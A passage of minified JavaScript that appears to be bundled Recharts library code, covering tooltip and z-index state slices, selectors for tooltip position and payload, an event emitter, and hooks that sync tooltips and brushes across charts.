nteraction.active=t.payload.active,e.keyboardInteraction.index=t.payload.activeIndex,e.keyboardInteraction.coordinate=t.payload.activeCoordinate}}}),{addTooltipEntrySettings:cD,replaceTooltipEntrySettings:uD,removeTooltipEntrySettings:dD,setTooltipSettingsState:fD,setActiveMouseOverItemIndex:l3,mouseLeaveItem:pD,mouseLeaveChart:c3,setActiveClickItemIndex:mD,setMouseOverAxisIndex:u3,setMouseClickAxisIndex:hD,setSyncInteraction:lh,setKeyboardInteraction:ch}=o3.actions,xD=o3.reducer;function fb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Vl(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?fb(Object(n),!0).forEach(function(r){vD(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):fb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function vD(e,t,n){return(t=gD(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function gD(e){var t=yD(e,"string");return typeof t=="symbol"?t:t+""}function yD(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function bD(e,t,n){return t==="axis"?n==="click"?e.axisInteraction.click:e.axisInteraction.hover:n==="click"?e.itemInteraction.click:e.itemInteraction.hover}function wD(e){return e.index!=null}var d3=(e,t,n,r)=>{if(t==null)return Zr;var i=bD(e,t,n);if(i==null)return Zr;if(i.active)return i;if(e.keyboardInteraction.active)return e.keyboardInteraction;if(e.syncInteraction.active&&e.syncInteraction.index!=null)return e.syncInteraction;var a=e.settings.active===!0;if(wD(i)){if(a)return Vl(Vl({},i),{},{active:!0})}else if(r!=null)return{active:!0,coordinate:void 0,dataKey:void 0,index:r,graphicalItemId:void 0};return Vl(Vl({},Zr),{},{coordinate:i.coordinate})};function jD(e){if(typeof e=="number")return Number.isFinite(e)?e:void 0;if(e instanceof Date){var t=e.valueOf();return Number.isFinite(t)?t:void 0}var n=Number(e);return Number.isFinite(n)?n:void 0}function kD(e,t){var n=jD(e),r=t[0],i=t[1];if(n===void 0)return!1;var a=Math.min(r,i),o=Math.max(r,i);return n>=a&&n<=o}function ND(e,t,n){if(n==null||t==null)return!0;var r=Fe(e,t);return r==null||!Tr(n)?!0:kD(r,n)}var q0=(e,t,n,r)=>{var i=e==null?void 0:e.index;if(i==null)return null;var a=Number(i);if(!ze(a))return i;var o=0,l=1/0;t.length>0&&(l=t.length-1);var c=Math.max(o,Math.min(a,l)),u=t[c];return u==null||ND(u,n,r)?String(c):null},f3=(e,t,n,r,i,a,o)=>{if(a!=null){var l=o[0],c=l==null?void 0:l.getPosition(a);if(c!=null)return c;var u=i==null?void 0:i[Number(a)];if(u)switch(n){case"horizontal":return{x:u.coordinate,y:(r.top+t)/2};default:return{x:(r.left+e)/2,y:u.coordinate}}}},p3=(e,t,n,r)=>{if(t==="axis")return e.tooltipItemPayloads;if(e.tooltipItemPayloads.length===0)return[];var i;if(n==="hover"?i=e.itemInteraction.hover.graphicalItemId:i=e.itemInteraction.click.graphicalItemId,i==null&&r!=null){var a=e.tooltipItemPayloads[0];return a!=null?[a]:[]}return e.tooltipItemPayloads.filter(o=>{var l;return((l=o.settings)===null||l===void 0?void 0:l.graphicalItemId)===i})},m3=e=>e.options.tooltipPayloadSearcher,vs=e=>e.tooltip;function pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function mb(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?pb(Object(n),!0).forEach(function(r){SD(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):pb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function SD(e,t,n){return(t=zD(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function zD(e){var t=CD(e,"string");return typeof t=="symbol"?t:t+""}function CD(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function PD(e,t){return e??t}var h3=(e,t,n,r,i,a,o)=>{if(!(t==null||a==null)){var{chartData:l,computedData:c,dataStartIndex:u,dataEndIndex:d}=n,f=[];return e.reduce((m,h)=>{var x,{dataDefinedOnItem:g,settings:y}=h,v=PD(g,l),b=Array.isArray(v)?Xk(v,u,d):v,w=(x=y==null?void 0:y.dataKey)!==null&&x!==void 0?x:r,j=y==null?void 0:y.nameKey,k;if(r&&Array.isArray(b)&&!Array.isArray(b[0])&&o==="axis"?k=Wj(b,r,i):k=a(b,t,c,j),Array.isArray(k))k.forEach(N=>{var z=mb(mb({},y),{},{name:N.name,unit:N.unit,color:void 0,fill:void 0});m.push(jy({tooltipEntrySettings:z,dataKey:N.dataKey,payload:N.payload,value:Fe(N.payload,N.dataKey),name:N.name}))});else{var S;m.push(jy({tooltipEntrySettings:y,dataKey:w,payload:k,value:Fe(k,w),name:(S=Fe(k,j))!==null&&S!==void 0?S:y==null?void 0:y.name}))}return m},f)}},Y0=T([mt,M4,g0],Y4),ED=T([e=>e.graphicalItems.cartesianItems,e=>e.graphicalItems.polarItems],(e,t)=>[...e,...t]),AD=T([wt,ms],C0),gs=T([ED,mt,AD],P0,{memoizeOptions:{resultEqualityCheck:Xd}}),_D=T([gs],e=>e.filter(S0)),OD=T([gs],E0,{memoizeOptions:{resultEqualityCheck:Xd}}),ys=T([OD,Fr],A0),TD=T([_D,Fr,mt],A4),G0=T([ys,mt,gs],O0),x3=T([mt],T0),MD=T([mt],e=>e.allowDataOverflow),v3=T([x3,MD],d4),LD=T([gs],e=>e.filter(S0)),ID=T([TD,LD,al,j4],$4),DD=T([ID,Fr,wt,v3],F4),RD=T([gs],D4),$D=T([ys,mt,RD,Qd,wt],I0,{memoizeOptions:{resultEqualityCheck:Gd}}),BD=T([W4,wt,ms],xs),FD=T([BD,wt],H4),WD=T([U4,wt,ms],xs),UD=T([WD,wt],K4),VD=T([V4,wt,ms],xs),HD=T([VD,wt],q4),KD=T([FD,HD,UD],Pu),qD=T([mt,x3,v3,DD,$D,KD,Me,wt],D0),ul=T([mt,Me,ys,G0,al,wt,qD],R0),YD=T([ul,mt,Y0],F0),GD=T([mt,ul,YD,wt],U0),g3=e=>{var t=wt(e),n=ms(e),r=!1;return cl(e,t,n,r)},y3=T([mt,g3],qd),b3=T([mt,Y0,GD,y3],B0),XD=T([Me,G0,mt,wt],J4),ZD=T([Me,G0,mt,wt],e3),QD=(e,t,n,r,i,a,o,l)=>{if(t){var{type:c}=t,u=dr(e,l);if(r){var d=n==="scaleBand"&&r.bandwidth?r.bandwidth()/2:2,f=c==="category"&&r.bandwidth?r.bandwidth()/d:0;return f=l==="angleAxis"&&i!=null&&(i==null?void 0:i.length)>=2?Ut(i[0]-i[1])*2*f:f,u&&o?o.map((m,h)=>{var x=r.map(m);return ze(x)?{coordinate:x+f,value:m,index:h,offset:f}:null}).filter(tr):r.domain().map((m,h)=>{var x=r.map(m);return ze(x)?{coordinate:x+f,value:a?a[m]:m,index:h,offset:f}:null}).filter(tr)}}},Vr=T([Me,mt,Y0,b3,g3,XD,ZD,wt],QD),X0=T([r3,i3,oD],(e,t,n)=>a3(n.shared,e,t)),w3=e=>e.tooltip.settings.trigger,Z0=e=>e.tooltip.settings.defaultIndex,dl=T([vs,X0,w3,Z0],d3),ns=T([dl,ys,ll,ul],q0),j3=T([Vr,ns],s3),k3=T([dl],e=>{if(e)return e.dataKey}),JD=T([dl],e=>{if(e)return e.graphicalItemId}),N3=T([vs,X0,w3,Z0],p3),eR=T([Rr,$r,Me,yt,Vr,Z0,N3],f3),tR=T([dl,eR],(e,t)=>e!=null&&e.coordinate?e.coordinate:t),nR=T([dl],e=>{var t;return(t=e==null?void 0:e.active)!==null&&t!==void 0?t:!1}),rR=T([N3,ns,Fr,ll,j3,m3,X0],h3),iR=T([rR],e=>{if(e!=null){var t=e.map(n=>n.payload).filter(n=>n!=null);return Array.from(new Set(t))}});function hb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function xb(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?hb(Object(n),!0).forEach(function(r){aR(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):hb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function aR(e,t,n){return(t=sR(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function sR(e){var t=oR(e,"string");return typeof t=="symbol"?t:t+""}function oR(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var lR=()=>ye(mt),cR=()=>{var e=lR(),t=ye(Vr),n=ye(b3);return su(!e||!n?void 0:xb(xb({},e),{},{scale:n}),t)};function vb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ma(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?vb(Object(n),!0).forEach(function(r){uR(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):vb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function uR(e,t,n){return(t=dR(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function dR(e){var t=fR(e,"string");return typeof t=="symbol"?t:t+""}function fR(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var pR=(e,t,n,r)=>{var i=t.find(a=>a&&a.index===n);if(i){if(e==="horizontal")return{x:i.coordinate,y:r.chartY};if(e==="vertical")return{x:r.chartX,y:i.coordinate}}return{x:0,y:0}},mR=(e,t,n,r)=>{var i=t.find(u=>u&&u.index===n);if(i){if(e==="centric"){var a=i.coordinate,{radius:o}=r;return ma(ma(ma({},r),st(r.cx,r.cy,o,a)),{},{angle:a,radius:o})}var l=i.coordinate,{angle:c}=r;return ma(ma(ma({},r),st(r.cx,r.cy,l,c)),{},{angle:c,radius:l})}return{angle:0,clockWise:!1,cx:0,cy:0,endAngle:0,innerRadius:0,outerRadius:0,radius:0,startAngle:0,x:0,y:0}};function hR(e,t){var{chartX:n,chartY:r}=e;return n>=t.left&&n<=t.left+t.width&&r>=t.top&&r<=t.top+t.height}var S3=(e,t,n,r,i)=>{var a,o=(a=t==null?void 0:t.length)!==null&&a!==void 0?a:0;if(o<=1||e==null)return 0;if(r==="angleAxis"&&i!=null&&Math.abs(Math.abs(i[1]-i[0])-360)<=1e-6)for(var l=0;l<o;l++){var c,u,d,f,m,h=l>0?(c=n[l-1])===null||c===void 0?void 0:c.coordinate:(u=n[o-1])===null||u===void 0?void 0:u.coordinate,x=(d=n[l])===null||d===void 0?void 0:d.coordinate,g=l>=o-1?(f=n[0])===null||f===void 0?void 0:f.coordinate:(m=n[l+1])===null||m===void 0?void 0:m.coordinate,y=void 0;if(!(h==null||x==null||g==null))if(Ut(x-h)!==Ut(g-x)){var v=[];if(Ut(g-x)===Ut(i[1]-i[0])){y=g;var b=x+i[1]-i[0];v[0]=Math.min(b,(b+h)/2),v[1]=Math.max(b,(b+h)/2)}else{y=h;var w=g+i[1]-i[0];v[0]=Math.min(x,(w+x)/2),v[1]=Math.max(x,(w+x)/2)}var j=[Math.min(x,(y+x)/2),Math.max(x,(y+x)/2)];if(e>j[0]&&e<=j[1]||e>=v[0]&&e<=v[1]){var k;return(k=n[l])===null||k===void 0?void 0:k.index}}else{var S=Math.min(h,g),N=Math.max(h,g);if(e>(S+x)/2&&e<=(N+x)/2){var z;return(z=n[l])===null||z===void 0?void 0:z.index}}}else if(t)for(var _=0;_<o;_++){var A=t[_];if(A!=null){var O=t[_+1],P=t[_-1];if(_===0&&O!=null&&e<=(A.coordinate+O.coordinate)/2||_===o-1&&P!=null&&e>(A.coordinate+P.coordinate)/2||_>0&&_<o-1&&P!=null&&O!=null&&e>(A.coordinate+P.coordinate)/2&&e<=(A.coordinate+O.coordinate)/2)return A.index}}return-1},z3=()=>ye(g0),Q0=(e,t)=>t,C3=(e,t,n)=>n,J0=(e,t,n,r)=>r,xR=T(Vr,e=>gd(e,t=>t.coordinate)),ev=T([vs,Q0,C3,J0],d3),tv=T([ev,ys,ll,ul],q0),vR=(e,t,n)=>{if(t!=null){var r=vs(e);return t==="axis"?n==="hover"?r.axisInteraction.hover.dataKey:r.axisInteraction.click.dataKey:n==="hover"?r.itemInteraction.hover.dataKey:r.itemInteraction.click.dataKey}},P3=T([vs,Q0,C3,J0],p3),Eu=T([Rr,$r,Me,yt,Vr,J0,P3],f3),gR=T([ev,Eu],(e,t)=>{var n;return(n=e.coordinate)!==null&&n!==void 0?n:t}),E3=T([Vr,tv],s3),yR=T([P3,tv,Fr,ll,E3,m3,Q0],h3),bR=T([ev,tv],(e,t)=>({isActive:e.active&&t!=null,activeIndex:t})),wR=(e,t,n,r,i,a,o)=>{if(!(!e||!n||!r||!i)&&hR(e,o)){var l=lT(e,t),c=S3(l,a,i,n,r),u=pR(t,i,c,e);return{activeIndex:String(c),activeCoordinate:u}}},jR=(e,t,n,r,i,a,o)=>{if(!(!e||!r||!i||!a||!n)){var l=u8(e,n);if(l){var c=cT(l,t),u=S3(c,o,a,r,i),d=mR(t,a,u,l);return{activeIndex:String(u),activeCoordinate:d}}}},kR=(e,t,n,r,i,a,o,l)=>{if(!(!e||!t||!r||!i||!a))return t==="horizontal"||t==="vertical"?wR(e,t,r,i,a,o,l):jR(e,t,n,r,i,a,o)},NR=T(e=>e.zIndex.zIndexMap,(e,t)=>t,(e,t,n)=>n,(e,t,n)=>{if(t!=null){var r=e[t];if(r!=null)return n?r.panoramaElement:r.element}}),SR=T(e=>e.zIndex.zIndexMap,e=>{var t=Object.keys(e).map(r=>parseInt(r,10)).concat(Object.values(Ht)),n=Array.from(new Set(t));return n.sort((r,i)=>r-i)},{memoizeOptions:{resultEqualityCheck:sI}});function gb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function yb(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?gb(Object(n),!0).forEach(function(r){zR(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):gb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function zR(e,t,n){return(t=CR(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function CR(e){var t=PR(e,"string");return typeof t=="symbol"?t:t+""}function PR(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}var ER={},AR={zIndexMap:Object.values(Ht).reduce((e,t)=>yb(yb({},e),{},{[t]:{element:void 0,panoramaElement:void 0,consumers:0}}),ER)},_R=new Set(Object.values(Ht));function OR(e){return _R.has(e)}var A3=Xt({name:"zIndex",initialState:AR,reducers:{registerZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]?e.zIndexMap[n].consumers+=1:e.zIndexMap[n]={consumers:1,element:void 0,panoramaElement:void 0}},prepare:Ue()},unregisterZIndexPortal:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(e.zIndexMap[n].consumers-=1,e.zIndexMap[n].consumers<=0&&!OR(n)&&delete e.zIndexMap[n])},prepare:Ue()},registerZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n,element:r,isPanorama:i}=t.payload;e.zIndexMap[n]?i?e.zIndexMap[n].panoramaElement=r:e.zIndexMap[n].element=r:e.zIndexMap[n]={consumers:0,element:i?void 0:r,panoramaElement:i?r:void 0}},prepare:Ue()},unregisterZIndexPortalElement:{reducer:(e,t)=>{var{zIndex:n}=t.payload;e.zIndexMap[n]&&(t.payload.isPanorama?e.zIndexMap[n].panoramaElement=void 0:e.zIndexMap[n].element=void 0)},prepare:Ue()}}}),{registerZIndexPortal:TR,unregisterZIndexPortal:MR,registerZIndexPortalElement:LR,unregisterZIndexPortalElement:IR}=A3.actions,DR=A3.reducer;function Si(e){var{zIndex:t,children:n}=e,r=$T(),i=r&&t!==void 0&&t!==0,a=Kn(),o=it();p.useLayoutEffect(()=>i?(o(TR({zIndex:t})),()=>{o(MR({zIndex:t}))}):cs,[o,t,i]);var l=ye(c=>NR(c,t,a));return i?l?fx.createPortal(n,l):null:n}function uh(){return uh=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)({}).hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e},uh.apply(null,arguments)}function bb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Hl(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?bb(Object(n),!0).forEach(function(r){RR(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):bb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function RR(e,t,n){return(t=$R(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function $R(e){var t=BR(e,"string");return typeof t=="symbol"?t:t+""}function BR(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function FR(e){var{cursor:t,cursorComp:n,cursorProps:r}=e;return p.isValidElement(t)?p.cloneElement(t,r):p.createElement(n,r)}function WR(e){var t,{coordinate:n,payload:r,index:i,offset:a,tooltipAxisBandSize:o,layout:l,cursor:c,tooltipEventType:u,chartName:d}=e,f=n,m=r,h=i;if(!c||!f||d!=="ScatterChart"&&u!=="axis")return null;var x,g,y;if(d==="ScatterChart")x=f,g=NM,y=Ht.cursorLine;else if(d==="BarChart")x=SM(l,f,a,o),g=jN,y=Ht.cursorRectangle;else if(l==="radial"&&Hj(f)){var{cx:v,cy:b,radius:w,startAngle:j,endAngle:k}=NN(f);x={cx:v,cy:b,startAngle:j,endAngle:k,innerRadius:w,outerRadius:w},g=zN,y=Ht.cursorLine}else x={points:m8(l,f,a)},g=Ba,y=Ht.cursorLine;var S=typeof c=="object"&&"className"in c?c.className:void 0,N=Hl(Hl(Hl(Hl({stroke:"#ccc",pointerEvents:"none"},a),x),zo(c)),{},{payload:m,payloadIndex:h,className:Xe("recharts-tooltip-cursor",S)});return p.createElement(Si,{zIndex:(t=e.zIndex)!==null&&t!==void 0?t:y},p.createElement(FR,{cursor:c,cursorComp:g,cursorProps:N}))}function UR(e){var t=cR(),n=LT(),r=us(),i=z3();return t==null||n==null||r==null||i==null?null:p.createElement(WR,uh({},e,{offset:n,layout:r,tooltipAxisBandSize:t,chartName:i}))}var _3=p.createContext(null),VR=()=>p.useContext(_3),O3={exports:{}};(function(e){var t=Object.prototype.hasOwnProperty,n="~";function r(){}Object.create&&(r.prototype=Object.create(null),new r().__proto__||(n=!1));function i(c,u,d){this.fn=c,this.context=u,this.once=d||!1}function a(c,u,d,f,m){if(typeof d!="function")throw new TypeError("The listener must be a function");var h=new i(d,f||c,m),x=n?n+u:u;return c._events[x]?c._events[x].fn?c._events[x]=[c._events[x],h]:c._events[x].push(h):(c._events[x]=h,c._eventsCount++),c}function o(c,u){--c._eventsCount===0?c._events=new r:delete c._events[u]}function l(){this._events=new r,this._eventsCount=0}l.prototype.eventNames=function(){var u=[],d,f;if(this._eventsCount===0)return u;for(f in d=this._events)t.call(d,f)&&u.push(n?f.slice(1):f);return Object.getOwnPropertySymbols?u.concat(Object.getOwnPropertySymbols(d)):u},l.prototype.listeners=function(u){var d=n?n+u:u,f=this._events[d];if(!f)return[];if(f.fn)return[f.fn];for(var m=0,h=f.length,x=new Array(h);m<h;m++)x[m]=f[m].fn;return x},l.prototype.listenerCount=function(u){var d=n?n+u:u,f=this._events[d];return f?f.fn?1:f.length:0},l.prototype.emit=function(u,d,f,m,h,x){var g=n?n+u:u;if(!this._events[g])return!1;var y=this._events[g],v=arguments.length,b,w;if(y.fn){switch(y.once&&this.removeListener(u,y.fn,void 0,!0),v){case 1:return y.fn.call(y.context),!0;case 2:return y.fn.call(y.context,d),!0;case 3:return y.fn.call(y.context,d,f),!0;case 4:return y.fn.call(y.context,d,f,m),!0;case 5:return y.fn.call(y.context,d,f,m,h),!0;case 6:return y.fn.call(y.context,d,f,m,h,x),!0}for(w=1,b=new Array(v-1);w<v;w++)b[w-1]=arguments[w];y.fn.apply(y.context,b)}else{var j=y.length,k;for(w=0;w<j;w++)switch(y[w].once&&this.removeListener(u,y[w].fn,void 0,!0),v){case 1:y[w].fn.call(y[w].context);break;case 2:y[w].fn.call(y[w].context,d);break;case 3:y[w].fn.call(y[w].context,d,f);break;case 4:y[w].fn.call(y[w].context,d,f,m);break;default:if(!b)for(k=1,b=new Array(v-1);k<v;k++)b[k-1]=arguments[k];y[w].fn.apply(y[w].context,b)}}return!0},l.prototype.on=function(u,d,f){return a(this,u,d,f,!1)},l.prototype.once=function(u,d,f){return a(this,u,d,f,!0)},l.prototype.removeListener=function(u,d,f,m){var h=n?n+u:u;if(!this._events[h])return this;if(!d)return o(this,h),this;var x=this._events[h];if(x.fn)x.fn===d&&(!m||x.once)&&(!f||x.context===f)&&o(this,h);else{for(var g=0,y=[],v=x.length;g<v;g++)(x[g].fn!==d||m&&!x[g].once||f&&x[g].context!==f)&&y.push(x[g]);y.length?this._events[h]=y.length===1?y[0]:y:o(this,h)}return this},l.prototype.removeAllListeners=function(u){var d;return u?(d=n?n+u:u,this._events[d]&&o(this,d)):(this._events=new r,this._eventsCount=0),this},l.prototype.off=l.prototype.removeListener,l.prototype.addListener=l.prototype.on,l.prefixed=n,l.EventEmitter=l,e.exports=l})(O3);var HR=O3.exports;const KR=Lr(HR);var Fo=new KR,dh="recharts.syncEvent.tooltip",wb="recharts.syncEvent.brush",T3=(e,t)=>{if(t&&Array.isArray(e)){var n=Number.parseInt(t,10);if(!or(n))return e[n]}},qR={chartName:"",tooltipPayloadSearcher:()=>{},eventEmitter:void 0,defaultTooltipEventType:"axis"},M3=Xt({name:"options",initialState:qR,reducers:{createEventEmitter:e=>{e.eventEmitter==null&&(e.eventEmitter=Symbol("rechartsEventEmitter"))}}}),YR=M3.reducer,{createEventEmitter:GR}=M3.actions;function XR(e){return e.tooltip.syncInteraction}var ZR={chartData:void 0,computedData:void 0,dataStartIndex:0,dataEndIndex:0},L3=Xt({name:"chartData",initialState:ZR,reducers:{setChartData(e,t){if(e.chartData=t.payload,t.payload==null){e.dataStartIndex=0,e.dataEndIndex=0;return}t.payload.length>0&&e.dataEndIndex!==t.payload.length-1&&(e.dataEndIndex=t.payload.length-1)},setComputedData(e,t){e.computedData=t.payload},setDataStartEndIndexes(e,t){var{startIndex:n,endIndex:r}=t.payload;n!=null&&(e.dataStartIndex=n),r!=null&&(e.dataEndIndex=r)}}}),{setChartData:jb,setDataStartEndIndexes:QR,setComputedData:LV}=L3.actions,JR=L3.reducer,e9=["x","y"];function kb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function ha(e){for(var t=1;t<arguments.length;t++){var n=arguments[t]!=null?arguments[t]:{};t%2?kb(Object(n),!0).forEach(function(r){t9(e,r,n[r])}):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):kb(Object(n)).forEach(function(r){Object.defineProperty(e,r,Object.getOwnPropertyDescriptor(n,r))})}return e}function t9(e,t,n){return(t=n9(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}function n9(e){var t=r9(e,"string");return typeof t=="symbol"?t:t+""}function r9(e,t){if(typeof e!="object"||!e)return e;var n=e[Symbol.toPrimitive];if(n!==void 0){var r=n.call(e,t);if(typeof r!="object")return r;throw new TypeError("@@toPrimitive must return a primitive value.")}return(t==="string"?String:Number)(e)}function i9(e,t){if(e==null)return{};var n,r,i=a9(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r<a.length;r++)n=a[r],t.indexOf(n)===-1&&{}.propertyIsEnumerable.call(e,n)&&(i[n]=e[n])}return i}function a9(e,t){if(e==null)return{};var n={};for(var r in e)if({}.hasOwnProperty.call(e,r)){if(t.indexOf(r)!==-1)continue;n[r]=e[r]}return n}function s9(){var e=ye(y0),t=ye(b0),n=it(),r=ye(k4),i=ye(Vr),a=us(),o=Td(),l=ye(c=>c.rootProps.className);p.useEffect(()=>{if(e==null)return cs;var c=(u,d,f)=>{if(t!==f&&e===u){if(r==="index"){var m;if(o&&d!==null&&d!==void 0&&(m=d.payload)!==null&&m!==void 0&&m.coordinate&&d.payload.sourceViewBox){var h=d.payload.coordinate,{x,y:g}=h,y=i9(h,e9),{x:v,y:b,width:w,height:j}=d.payload.sourceViewBox,k=ha(ha({},y),{},{x:o.x+(w?(x-v)/w:0)*o.width,y:o.y+(j?(g-b)/j:0)*o.height});n(ha(ha({},d),{},{payload:ha(ha({},d.payload),{},{coordinate:k})}))}else n(d);return}if(i!=null){var S;if(typeof r=="function"){var N={activeTooltipIndex:d.payload.index==null?void 0:Number(d.payload.index),isTooltipActive:d.payload.active,activeIndex:d.payload.index==null?void 0:Number(d.payload.index),activeLabel:d.payload.label,activeDataKey:d.payload.dataKey,activeCoordinate:d.payload.coordinate},z=r(i,N);S=i[z]}else r==="value"&&(S=i.find(M=>String(M.value)===d.payload.label));var{coordinate:_}=d.payload;if(S==null||d.payload.active===!1||_==null||o==null){n(lh({active:!1,coordinate:void 0,dataKey:void 0,index:null,label:void 0,sourceViewBox:void 0,graphicalItemId:void 0}));return}var{x:A,y:O}=_,P=Math.min(A,o.x+o.width),I=Math.min(O,o.y+o.height),U={x:a==="horizontal"?S.coordinate:P,y:a==="horizontal"?I:S.coordinate},D=lh({active:d.payload.active,coordinate:U,dataKey:d.payload.dataKey,index:String(S.index),label:d.payload.label,sourceViewBox:d.payload.sourceViewBox,graphicalItemId:d.payload.graphicalItemId});n(D)}}};return Fo.on(dh,c),()=>{Fo.off(dh,c)}},[l,n,t,e,r,i,a,o])}function o9(){var e=ye(y0),t=ye(b0),n=it();p.useEffect(()=>{if(e==null)return cs;var r=(i,a,o)=>{t!==o&&e===i&&n(QR(a))};return Fo.on(wb,r),()=>{Fo.off(wb,r)}},[n,t,e])}function l9(){var e=it();p.useEffect(()=>{e(GR())},[e]),s9(),o9()}function c9(e,t,n,r,i,a){var o=ye(h=>vR(h,e,t)),l=ye(b0),c=ye(y0),u=ye(k4),d=ye(XR),f=d==null?void 0:d.active,m=Td();p.useEffect(()=>{if(!f&&c!=null&&l!=null){var h=lh({active:a,coordinate:n,dataKey:o,index:i,label:typeof r=="number"?String(r):r,sourceViewBox:m,graphicalItemId:void 0});Fo.emit(dh,c,h,l)}},[f,n,o,i,r,l,c,u,a,m])}function Nb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Sb(e){for(var t=1;t<arguments.length;t++){var 